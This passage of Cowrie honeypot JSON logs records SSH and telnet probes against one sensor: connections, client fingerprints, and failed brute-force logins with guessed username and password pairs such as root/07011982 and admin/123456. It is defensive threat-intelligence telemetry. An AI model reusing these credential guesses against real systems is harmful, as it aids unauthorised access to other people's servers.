],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:09.024543Z","src_ip":"109.237.96.109","session":"6dfd06667c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07011982","message":"login attempt [root/07011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:09.304850Z","src_ip":"109.237.96.109","session":"6dfd06667c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:10.399382Z","src_ip":"109.237.96.109","session":"6dfd06667c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.54494786262512,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:24.204602Z","src_ip":"107.6.151.170","session":"e92936ab1153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":43264,"dst_ip":"10.17.0.5","dst_port":22,"session":"69fd36f6e47f","protocol":"ssh","message":"New connection: 38.148.249.2:43264 (10.17.0.5:22) [session: 69fd36f6e47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:26.889741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:26.892748Z","src_ip":"38.148.249.2","session":"69fd36f6e47f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:26.961150Z","src_ip":"38.148.249.2","session":"69fd36f6e47f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Z123456z","message":"login attempt [root/Z123456z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:27.272435Z","src_ip":"38.148.249.2","session":"69fd36f6e47f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:28.343963Z","src_ip":"38.148.249.2","session":"69fd36f6e47f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":55836,"dst_ip":"159.203.135.109","dst_port":23,"session":"cde86061f6cf","protocol":"telnet","message":"New connection: 137.184.5.188:55836 (159.203.135.109:23) [session: cde86061f6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:34.441013Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":36832,"dst_ip":"10.17.0.5","dst_port":22,"session":"97bb21715652","protocol":"ssh","message":"New connection: 177.76.134.52:36832 (10.17.0.5:22) [session: 97bb21715652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:35.977889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:35.982033Z","src_ip":"177.76.134.52","session":"97bb21715652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:36.165576Z","src_ip":"177.76.134.52","session":"97bb21715652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server1","message":"login attempt [root/Server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:36.767032Z","src_ip":"177.76.134.52","session":"97bb21715652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:37.961674Z","src_ip":"177.76.134.52","session":"97bb21715652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":52508,"dst_ip":"10.17.0.5","dst_port":22,"session":"b57f6bd0f504","protocol":"ssh","message":"New connection: 103.82.20.28:52508 (10.17.0.5:22) [session: b57f6bd0f504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:40.809873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:40.813980Z","src_ip":"103.82.20.28","session":"b57f6bd0f504","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:41.071550Z","src_ip":"103.82.20.28","session":"b57f6bd0f504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"silakrogs","message":"login attempt [root/silakrogs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:41.845323Z","src_ip":"103.82.20.28","session":"b57f6bd0f504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:43.105219Z","src_ip":"103.82.20.28","session":"b57f6bd0f504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":46918,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbe5c7af6029","protocol":"ssh","message":"New connection: 99.252.20.159:46918 (10.17.0.5:22) [session: dbe5c7af6029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:48.069358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:48.072801Z","src_ip":"99.252.20.159","session":"dbe5c7af6029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:48.107848Z","src_ip":"99.252.20.159","session":"dbe5c7af6029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vitalik","password":"qwerty123","message":"login attempt [vitalik/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:48.199069Z","src_ip":"99.252.20.159","session":"dbe5c7af6029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:49.240085Z","src_ip":"99.252.20.159","session":"dbe5c7af6029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":51754,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d6899da8512","protocol":"ssh","message":"New connection: 80.94.92.55:51754 (10.17.0.5:22) [session: 2d6899da8512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:55.010141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:55.149653Z","src_ip":"80.94.92.55","session":"2d6899da8512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:55.152442Z","src_ip":"80.94.92.55","session":"2d6899da8512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:56.332045Z","src_ip":"80.94.92.55","session":"2d6899da8512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:49:58.092625Z","src_ip":"80.94.92.55","session":"2d6899da8512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.7967734336853,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:14.237671Z","src_ip":"137.184.5.188","session":"cde86061f6cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43744,"dst_ip":"10.17.0.5","dst_port":22,"session":"63b384a7c3ce","protocol":"ssh","message":"New connection: 103.176.20.57:43744 (10.17.0.5:22) [session: 63b384a7c3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:37.827234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:37.831687Z","src_ip":"103.176.20.57","session":"63b384a7c3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:38.080465Z","src_ip":"103.176.20.57","session":"63b384a7c3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":32898,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea735be090d4","protocol":"ssh","message":"New connection: 159.65.58.200:32898 (159.203.135.109:22) [session: ea735be090d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:38.194011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:38.328349Z","src_ip":"159.65.58.200","session":"ea735be090d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:38.331188Z","src_ip":"159.65.58.200","session":"ea735be090d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100792","message":"login attempt [root/100792] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:38.826149Z","src_ip":"103.176.20.57","session":"63b384a7c3ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soldatov","password":"123456","message":"login attempt [soldatov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:39.398596Z","src_ip":"159.65.58.200","session":"ea735be090d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:40.074915Z","src_ip":"103.176.20.57","session":"63b384a7c3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:50:40.628859Z","src_ip":"159.65.58.200","session":"ea735be090d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":33132,"dst_ip":"10.17.0.5","dst_port":22,"session":"417d0040b11d","protocol":"ssh","message":"New connection: 20.228.179.34:33132 (10.17.0.5:22) [session: 417d0040b11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:51:59.083758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:51:59.087781Z","src_ip":"20.228.179.34","session":"417d0040b11d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:51:59.099777Z","src_ip":"20.228.179.34","session":"417d0040b11d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockchain","password":"Cr@zy#P@ss!W0rd44","message":"login attempt [blockchain/Cr@zy#P@ss!W0rd44] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:51:59.138694Z","src_ip":"20.228.179.34","session":"417d0040b11d","protocol":"ssh"}
